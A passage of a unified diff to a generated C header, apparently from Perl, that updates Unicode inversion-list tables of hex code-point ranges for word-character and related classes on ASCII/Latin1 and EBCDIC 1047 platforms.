+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CEB,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CF2,
+	0x2CF3,
+	0xA640,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA680,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA722,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA732,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA779,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA78B,
+	0xA78C,
+	0xA78D,
+	0xA78E,
+	0xA790,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA796,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7AF,
+	0xA7B0,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xFF21,
+	0xFF3B,
+	0x10400,
+	0x10428,
+	0x104B0,
+	0x104D4,
+	0x10C80,
+	0x10CB3,
+	0x118A0,
+	0x118C0,
+	0x1D400,
+	0x1D41A,
+	0x1D434,
+	0x1D44E,
+	0x1D468,
+	0x1D482,
+	0x1D49C,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4B6,
+	0x1D4D0,
+	0x1D4EA,
+	0x1D504,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D538,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D56C,
+	0x1D586,
+	0x1D5A0,
+	0x1D5BA,
+	0x1D5D4,
+	0x1D5EE,
+	0x1D608,
+	0x1D622,
+	0x1D63C,
+	0x1D656,
+	0x1D670,
+	0x1D68A,
+	0x1D6A8,
+	0x1D6C1,
+	0x1D6E2,
+	0x1D6FB,
+	0x1D71C,
+	0x1D735,
+	0x1D756,
+	0x1D76F,
+	0x1D790,
+	0x1D7A9,
+	0x1D7CA,
+	0x1D7CB,
+	0x1E900,
+	0x1E922,
+	0x1F130,
+	0x1F14A,
+	0x1F150,
+	0x1F16A,
+	0x1F170,
+	0x1F18A
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_XPOSIXWORD_invlist[] = { /* for ASCII/Latin1 */
+	1387,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0x30,
 	0x3A,
 	0x41,
@@ -30191,6 +148559,8 @@
 	0x82E,
 	0x840,
 	0x85C,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
@@ -30229,6 +148599,8 @@
 	0x9E4,
 	0x9E6,
 	0x9F2,
+	0x9FC,
+	0x9FD,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -30288,7 +148660,7 @@
 	0xAE6,
 	0xAF0,
 	0xAF9,
-	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -30403,7 +148775,7 @@
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -30410,8 +148782,6 @@
 	0xD0E,
 	0xD11,
 	0xD12,
-	0xD3B,
-	0xD3D,
 	0xD45,
 	0xD46,
 	0xD49,
@@ -30658,11 +149028,9 @@
 	0x1CD0,
 	0x1CD3,
 	0x1CD4,
-	0x1CF7,
-	0x1CF8,
 	0x1CFA,
 	0x1D00,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
 	0x1F16,
 	0x1F18,
@@ -30804,7 +149172,7 @@
 	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x31A0,
@@ -30814,7 +149182,7 @@
 	0x3400,
 	0x4DB6,
 	0x4E00,
-	0x9FD6,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA4D0,
@@ -30991,7 +149359,7 @@
 	0x102E1,
 	0x10300,
 	0x10320,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
 	0x1037B,
@@ -31197,6 +149565,14 @@
 	0x118EA,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
@@ -31213,6 +149589,20 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -31250,13 +149640,15 @@
 	0x16F8F,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -31451,6 +149843,8 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
 	0x2FA1E,
 	0xE0100,
@@ -31457,108 +149851,82 @@
 	0xE01F0
 };
 
-static const UV XPosixXDigit_invlist[] = { /* for ASCII/Latin1 */
-	13,	/* Number of elements */
-	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
-		   1 if it starts at the element beyond 0 */
-	0x0,
-	0x30,
-	0x3A,
-	0x41,
-	0x47,
-	0x61,
-	0x67,
-	0xFF10,
-	0xFF1A,
-	0xFF21,
-	0xFF27,
-	0xFF41,
-	0xFF47
-};
+#   endif	/* ASCII/Latin1 */
 
-#endif	/* defined(PERL_IN_PERL_C) */
-
-#endif	/* ASCII/Latin1 */
-
-#if 'A' == 193 /* EBCDIC 1047 */ \
+#   if 'A' == 193 /* EBCDIC 1047 */ \
      && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
      && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
      && '$' == 91 && '@' == 124 && '`' == 121
 
-#if defined(PERL_IN_PERL_C)
-
-static const UV ASCII_invlist[] = { /* for EBCDIC 1047 */
-	54,	/* Number of elements */
+static const UV PL_XPOSIXWORD_invlist[] = { /* for EBCDIC 1047 */
+	1411,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	0,	/* 0 if the list starts at 0;
+	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x4,
-	0x5,
-	0x6,
-	0x7,
-	0x8,
-	0xB,
-	0x14,
-	0x15,
-	0x17,
-	0x18,
-	0x1A,
-	0x1C,
-	0x20,
-	0x26,
-	0x28,
-	0x2D,
-	0x30,
-	0x32,
-	0x33,
-	0x37,
-	0x38,
-	0x3C,
-	0x3E,
-	0x3F,
-	0x41,
-	0x4B,
+	0x42,
+	0x4A,
 	0x51,
 	0x5A,
 	0x62,
-	0x6B,
+	0x6A,
+	0x6D,
+	0x6E,
 	0x70,
 	0x79,
 	0x80,
-	0x81,
 	0x8A,
+	0x8C,
+	0x8F,
 	0x91,
-	0x9A,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
 	0xA1,
+	0xA2,
 	0xAA,
+	0xAC,
 	0xAD,
 	0xAE,
-	0xBD,
-	0xBE,
-	0xC0,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xC1,
 	0xCA,
+	0xCB,
 	0xD0,
+	0xD1,
 	0xDA,
+	0xDB,
 	0xE0,
-	0xE1,
 	0xE2,
 	0xEA,
-	0xF0,
-	0xFA
-};
-
-static const UV Assigned_invlist[] = { /* for EBCDIC 1047 */
-	1276,	/* Number of elements */
-	148565664, /* Version and data structure type */
-	0,	/* 0 if the list starts at 0;
-		   1 if it starts at the element beyond 0 */
-	0x0,
+	0xEB,
+	0xFA,
+	0xFB,
+	0xFF,
+	0x100,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x300,
+	0x375,
+	0x376,
 	0x378,
 	0x37A,
+	0x37E,
+	0x37F,
 	0x380,
-	0x384,
+	0x386,
+	0x387,
+	0x388,
 	0x38B,
 	0x38C,
 	0x38D,
@@ -31565,46 +149933,70 @@
 	0x38E,
 	0x3A2,
 	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x483,
 	0x530,
 	0x531,
 	0x557,
 	0x559,
-	0x560,
+	0x55A,
 	0x561,
 	0x588,
-	0x589,
-	0x58B,
-	0x58D,
-	0x590,
 	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
 	0x5C8,
 	0x5D0,
 	0x5EB,
 	0x5F0,
-	0x5F5,
-	0x600,
-	0x61D,
-	0x61E,
-	0x70E,
-	0x70F,
+	0x5F3,
+	0x610,
+	0x61B,
+	0x620,
+	0x66A,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x6DD,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
 	0x74B,
 	0x74D,
 	0x7B2,
 	0x7C0,
+	0x7F6,
+	0x7FA,
 	0x7FB,
 	0x800,
 	0x82E,
-	0x830,
-	0x83F,
 	0x840,
 	0x85C,
-	0x85E,
-	0x85F,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
 	0x8BE,
 	0x8D4,
+	0x8E2,
+	0x8E3,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
 	0x984,
 	0x985,
 	0x98D,
@@ -31631,7 +150023,9 @@
 	0x9DF,
 	0x9E4,
 	0x9E6,
+	0x9F2,
 	0x9FC,
+	0x9FD,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -31689,9 +150083,9 @@
 	0xAE0,
 	0xAE4,
 	0xAE6,
-	0xAF2,
+	0xAF0,
 	0xAF9,
-	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -31719,7 +150113,9 @@
 	0xB5F,
 	0xB64,
 	0xB66,
-	0xB78,
+	0xB70,
+	0xB71,
+	0xB72,
 	0xB82,
 	0xB84,
 	0xB85,
@@ -31751,7 +150147,7 @@
 	0xBD7,
 	0xBD8,
 	0xBE6,
-	0xBFB,
+	0xBF0,
 	0xC00,
 	0xC04,
 	0xC05,
@@ -31776,7 +150172,7 @@
 	0xC64,
 	0xC66,
 	0xC70,
-	0xC78,
+	0xC80,
 	0xC84,
 	0xC85,
 	0xC8D,
@@ -31804,7 +150200,7 @@
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -31811,16 +150207,18 @@
 	0xD0E,
 	0xD11,
 	0xD12,
-	0xD3B,
-	0xD3D,
 	0xD45,
 	0xD46,
 	0xD49,
 	0xD4A,
-	0xD50,
+	0xD4F,
 	0xD54,
+	0xD58,
+	0xD5F,
 	0xD64,
 	0xD66,
+	0xD70,
+	0xD7A,
 	0xD80,
 	0xD82,
 	0xD84,
@@ -31845,11 +150243,13 @@
 	0xDE6,
 	0xDF0,
 	0xDF2,
-	0xDF5,
+	0xDF4,
 	0xE01,
 	0xE3B,
-	0xE3F,
-	0xE5C,
+	0xE40,
+	0xE4F,
+	0xE50,
+	0xE5A,
 	0xE81,
 	0xE83,
 	0xE84,
@@ -31887,18 +150287,34 @@
 	0xEDC,
 	0xEE0,
 	0xF00,
+	0xF01,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF2A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
 	0xF48,
 	0xF49,
 	0xF6D,
 	0xF71,
+	0xF85,
+	0xF86,
 	0xF98,
 	0xF99,
 	0xFBD,
-	0xFBE,
-	0xFCD,
-	0xFCE,
-	0xFDB,
+	0xFC6,
+	0xFC7,
 	0x1000,
+	0x104A,
+	0x1050,
+	0x109E,
+	0x10A0,
 	0x10C6,
 	0x10C7,
 	0x10C8,
@@ -31905,6 +150321,8 @@
 	0x10CD,
 	0x10CE,
 	0x10D0,
+	0x10FB,
+	0x10FC,
 	0x1249,
 	0x124A,
 	0x124E,
@@ -31937,16 +150355,22 @@
 	0x1318,
 	0x135B,
 	0x135D,
-	0x137D,
+	0x1360,
 	0x1380,
-	0x139A,
+	0x1390,
 	0x13A0,
 	0x13F6,
 	0x13F8,
 	0x13FE,
-	0x1400,
-	0x169D,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x1680,
+	0x1681,
+	0x169B,
 	0x16A0,
+	0x16EB,
+	0x16EE,
 	0x16F9,
 	0x1700,
 	0x170D,
@@ -31953,7 +150377,7 @@
 	0x170E,
 	0x1715,
 	0x1720,
-	0x1737,
+	0x1735,
 	0x1740,
 	0x1754,
 	0x1760,
@@ -31963,13 +150387,15 @@
 	0x1772,
 	0x1774,
 	0x1780,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
 	0x17DE,
 	0x17E0,
 	0x17EA,
-	0x17F0,
-	0x17FA,
-	0x1800,
-	0x180F,
+	0x180B,
+	0x180E,
 	0x1810,
 	0x181A,
 	0x1820,
@@ -31984,9 +150410,7 @@
 	0x192C,
 	0x1930,
 	0x193C,
-	0x1940,
-	0x1941,
-	0x1944,
+	0x1946,
 	0x196E,
 	0x1970,
 	0x1975,
@@ -31995,10 +150419,10 @@
 	0x19B0,
 	0x19CA,
 	0x19D0,
-	0x19DB,
-	0x19DE,
+	0x19DA,
+	0x1A00,
 	0x1A1C,
-	0x1A1E,
+	0x1A20,
 	0x1A5F,
 	0x1A60,
 	0x1A7D,
@@ -32006,30 +150430,32 @@
 	0x1A8A,
 	0x1A90,
 	0x1A9A,
-	0x1AA0,
-	0x1AAE,
+	0x1AA7,
+	0x1AA8,
 	0x1AB0,
 	0x1ABF,
 	0x1B00,
 	0x1B4C,
 	0x1B50,
-	0x1B7D,
+	0x1B5A,
+	0x1B6B,
+	0x1B74,
 	0x1B80,
 	0x1BF4,
-	0x1BFC,
+	0x1C00,
 	0x1C38,
-	0x1C3B,
+	0x1C40,
 	0x1C4A,
 	0x1C4D,
+	0x1C7E,
+	0x1C80,
 	0x1C89,
-	0x1CC0,
-	0x1CC8,
 	0x1CD0,
-	0x1CF7,
-	0x1CF8,
+	0x1CD3,
+	0x1CD4,
 	0x1CFA,
 	0x1D00,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
 	0x1F16,
 	0x1F18,
@@ -32051,56 +150477,76 @@
 	0x1F80,
 	0x1FB5,
 	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
 	0x1FC5,
 	0x1FC6,
+	0x1FCD,
+	0x1FD0,
 	0x1FD4,
 	0x1FD6,
 	0x1FDC,
-	0x1FDD,
-	0x1FF0,
+	0x1FE0,
+	0x1FED,
 	0x1FF2,
 	0x1FF5,
 	0x1FF6,
-	0x1FFF,
-	0x2000,
-	0x2065,
-	0x2066,
+	0x1FFD,
+	0x200C,
+	0x200E,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
+	0x2071,
 	0x2072,
-	0x2074,
-	0x208F,
+	0x207F,
+	0x2080,
 	0x2090,
 	0x209D,
-	0x20A0,
-	0x20BF,
 	0x20D0,
 	0x20F1,
-	0x2100,
-	0x218C,
-	0x2190,
-	0x23FF,
-	0x2400,
-	0x2427,
-	0x2440,
-	0x244B,
-	0x2460,
-	0x2B74,
-	0x2B76,
-	0x2B96,
-	0x2B98,
-	0x2BBA,
-	0x2BBD,
-	0x2BC9,
-	0x2BCA,
-	0x2BD2,
-	0x2BEC,
-	0x2BF0,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x24B6,
+	0x24EA,
 	0x2C00,
 	0x2C2F,
 	0x2C30,
 	0x2C5F,
 	0x2C60,
+	0x2CE5,
+	0x2CEB,
 	0x2CF4,
-	0x2CF9,
+	0x2D00,
 	0x2D26,
 	0x2D27,
 	0x2D28,
@@ -32109,7 +150555,7 @@
 	0x2D30,
 	0x2D68,
 	0x2D6F,
-	0x2D71,
+	0x2D70,
 	0x2D7F,
 	0x2D97,
 	0x2DA0,
@@ -32129,70 +150575,86 @@
 	0x2DD8,
 	0x2DDF,
 	0x2DE0,
-	0x2E45,
-	0x2E80,
-	0x2E9A,
-	0x2E9B,
-	0x2EF4,
-	0x2F00,
-	0x2FD6,
-	0x2FF0,
-	0x2FFC,
-	0x3000,
-	0x3040,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x3005,
+	0x3008,
+	0x3021,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
 	0x3041,
 	0x3097,
 	0x3099,
+	0x309B,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
-	0x3190,
+	0x31A0,
 	0x31BB,
-	0x31C0,
-	0x31E4,
 	0x31F0,
-	0x321F,
-	0x3220,
-	0x32FF,
-	0x3300,
+	0x3200,
+	0x3400,
 	0x4DB6,
-	0x4DC0,
-	0x9FD6,
+	0x4E00,
+	0x9FEB,
 	0xA000,
 	0xA48D,
-	0xA490,
-	0xA4C7,
 	0xA4D0,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
 	0xA62C,
 	0xA640,
-	0xA6F8,
-	0xA700,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA6F2,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
 	0xA7AF,
 	0xA7B0,
 	0xA7B8,
 	0xA7F7,
-	0xA82C,
-	0xA830,
-	0xA83A,
+	0xA828,
 	0xA840,
-	0xA878,
+	0xA874,
 	0xA880,
 	0xA8C6,
-	0xA8CE,
+	0xA8D0,
 	0xA8DA,
 	0xA8E0,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
 	0xA8FE,
 	0xA900,
+	0xA92E,
+	0xA930,
 	0xA954,
-	0xA95F,
+	0xA960,
 	0xA97D,
 	0xA980,
-	0xA9CE,
+	0xA9C1,
 	0xA9CF,
 	0xA9DA,
-	0xA9DE,
+	0xA9E0,
 	0xA9FF,
 	0xAA00,
 	0xAA37,
@@ -32200,9 +150662,15 @@
 	0xAA4E,
 	0xAA50,
 	0xAA5A,
-	0xAA5C,
+	0xAA60,
+	0xAA77,
+	0xAA7A,
 	0xAAC3,
 	0xAADB,
+	0xAADE,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
 	0xAAF7,
 	0xAB01,
 	0xAB07,
@@ -32215,8 +150683,12 @@
 	0xAB28,
 	0xAB2F,
 	0xAB30,
+	0xAB5B,
+	0xAB5C,
 	0xAB66,
 	0xAB70,
+	0xABEB,
+	0xABEC,
 	0xABEE,
 	0xABF0,
 	0xABFA,
@@ -32226,7 +150698,7 @@
 	0xD7C7,
 	0xD7CB,
 	0xD7FC,
-	0xD800,
+	0xF900,
 	0xFA6E,
 	0xFA70,
 	0xFADA,
@@ -32235,6 +150707,8 @@
 	0xFB13,
 	0xFB18,
 	0xFB1D,
+	0xFB29,
+	0xFB2A,
 	0xFB37,
 	0xFB38,
 	0xFB3D,
@@ -32245,30 +150719,36 @@
 	0xFB43,
 	0xFB45,
 	0xFB46,
-	0xFBC2,
+	0xFBB2,
 	0xFBD3,
-	0xFD40,
+	0xFD3E,
 	0xFD50,
 	0xFD90,
 	0xFD92,
 	0xFDC8,
 	0xFDF0,
-	0xFDFE,
+	0xFDFC,
 	0xFE00,
-	0xFE1A,
+	0xFE10,
 	0xFE20,
-	0xFE53,
-	0xFE54,
-	0xFE67,
-	0xFE68,
-	0xFE6C,
+	0xFE30,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE50,
 	0xFE70,
 	0xFE75,
 	0xFE76,
 	0xFEFD,
-	0xFEFF,
-	0xFF00,
-	0xFF01,
+	0xFF10,
+	0xFF1A,
+	0xFF21,
+	0xFF3B,
+	0xFF3F,
+	0xFF40,
+	0xFF41,
+	0xFF5B,
+	0xFF66,
 	0xFFBF,
 	0xFFC2,
 	0xFFC8,
@@ -32278,12 +150758,6 @@
 	0xFFD8,
 	0xFFDA,
 	0xFFDD,
-	0xFFE0,
-	0xFFE7,
-	0xFFE8,
-	0xFFEF,
-	0xFFF9,
-	0xFFFE,
 	0x10000,
 	0x1000C,
 	0x1000D,
@@ -32298,17 +150772,9 @@
 	0x1005E,
 	0x10080,
 	0x100FB,
-	0x10100,
-	0x10103,
-	0x10107,
-	0x10134,
-	0x10137,
-	0x1018F,
-	0x10190,
-	0x1019C,
-	0x101A0,
-	0x101A1,
-	0x101D0,
+	0x10140,
+	0x10175,
+	0x101FD,
 	0x101FE,
 	0x10280,
 	0x1029D,
@@ -32315,18 +150781,20 @@
 	0x102A0,
 	0x102D1,
 	0x102E0,
-	0x102FC,
+	0x102E1,
 	0x10300,
-	0x10324,
-	0x10330,
+	0x10320,
+	0x1032D,
 	0x1034B,
 	0x10350,
 	0x1037B,
 	0x10380,
 	0x1039E,
-	0x1039F,
+	0x103A0,
 	0x103C4,
 	0x103C8,
+	0x103D0,
+	0x103D1,
 	0x103D6,
 	0x10400,
 	0x1049E,
@@ -32340,8 +150808,6 @@
 	0x10528,
 	0x10530,
 	0x10564,
-	0x1056F,
-	0x10570,
 	0x10600,
 	0x10737,
 	0x10740,
@@ -32360,25 +150826,23 @@
 	0x1083D,
 	0x1083F,
 	0x10856,
-	0x10857,
+	0x10860,
+	0x10877,
+	0x10880,
 	0x1089F,
-	0x108A7,
-	0x108B0,
 	0x108E0,
 	0x108F3,
 	0x108F4,
 	0x108F6,
-	0x108FB,
-	0x1091C,
-	0x1091F,
+	0x10900,
+	0x10916,
+	0x10920,
 	0x1093A,
-	0x1093F,
-	0x10940,
 	0x10980,
 	0x109B8,
-	0x109BC,
-	0x109D0,
-	0x109D2,
+	0x109BE,
+	0x109C0,
+	0x10A00,
 	0x10A04,
 	0x10A05,
 	0x10A07,
@@ -32391,27 +150855,23 @@
 	0x10A38,
 	0x10A3B,
 	0x10A3F,
-	0x10A48,
-	0x10A50,
-	0x10A59,
+	0x10A40,
 	0x10A60,
-	0x10AA0,
+	0x10A7D,
+	0x10A80,
+	0x10A9D,
 	0x10AC0,
+	0x10AC8,
+	0x10AC9,
 	0x10AE7,
-	0x10AEB,
-	0x10AF7,
 	0x10B00,
 	0x10B36,
-	0x10B39,
+	0x10B40,
 	0x10B56,
-	0x10B58,
+	0x10B60,
 	0x10B73,
-	0x10B78,
+	0x10B80,
 	0x10B92,
-	0x10B99,
-	0x10B9D,
-	0x10BA9,
-	0x10BB0,
 	0x10C00,
 	0x10C49,
 	0x10C80,
@@ -32418,16 +150878,12 @@
 	0x10CB3,
 	0x10CC0,
 	0x10CF3,
-	0x10CFA,
-	0x10D00,
-	0x10E60,
-	0x10E7F,
 	0x11000,
-	0x1104E,
-	0x11052,
+	0x11047,
+	0x11066,
 	0x11070,
 	0x1107F,
-	0x110C2,
+	0x110BB,
 	0x110D0,
 	0x110E9,
 	0x110F0,
@@ -32435,18 +150891,24 @@
 	0x11100,
 	0x11135,
 	0x11136,
-	0x11144,
+	0x11140,
 	0x11150,
+	0x11174,
+	0x11176,
 	0x11177,
 	0x11180,
-	0x111CE,
+	0x111C5,
+	0x111CA,
+	0x111CD,
 	0x111D0,
-	0x111E0,
-	0x111E1,
-	0x111F5,
+	0x111DB,
+	0x111DC,
+	0x111DD,
 	0x11200,
 	0x11212,
 	0x11213,
+	0x11238,
+	0x1123E,
 	0x1123F,
 	0x11280,
 	0x11287,
@@ -32457,7 +150919,7 @@
 	0x1128F,
 	0x1129E,
 	0x1129F,
-	0x112AA,
+	0x112A9,
 	0x112B0,
 	0x112EB,
 	0x112F0,
@@ -32493,12 +150955,12 @@
 	0x11370,
 	0x11375,
 	0x11400,
+	0x1144B,
+	0x11450,
 	0x1145A,
-	0x1145B,
-	0x1145C,
-	0x1145D,
-	0x1145E,
 	0x11480,
+	0x114C6,
+	0x114C7,
 	0x114C8,
 	0x114D0,
 	0x114DA,
@@ -32505,13 +150967,15 @@
 	0x11580,
 	0x115B6,
 	0x115B8,
+	0x115C1,
+	0x115D8,
 	0x115DE,
 	0x11600,
+	0x11641,
+	0x11644,
 	0x11645,
 	0x11650,
 	0x1165A,
-	0x11660,
-	0x1166D,
 	0x11680,
 	0x116B8,
 	0x116C0,
@@ -32521,11 +150985,19 @@
 	0x1171D,
 	0x1172C,
 	0x11730,
-	0x11740,
+	0x1173A,
 	0x118A0,
-	0x118F3,
+	0x118EA,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
@@ -32533,21 +151005,33 @@
 	0x11C0A,
 	0x11C37,
 	0x11C38,
-	0x11C46,
+	0x11C41,
 	0x11C50,
-	0x11C6D,
-	0x11C70,
+	0x11C5A,
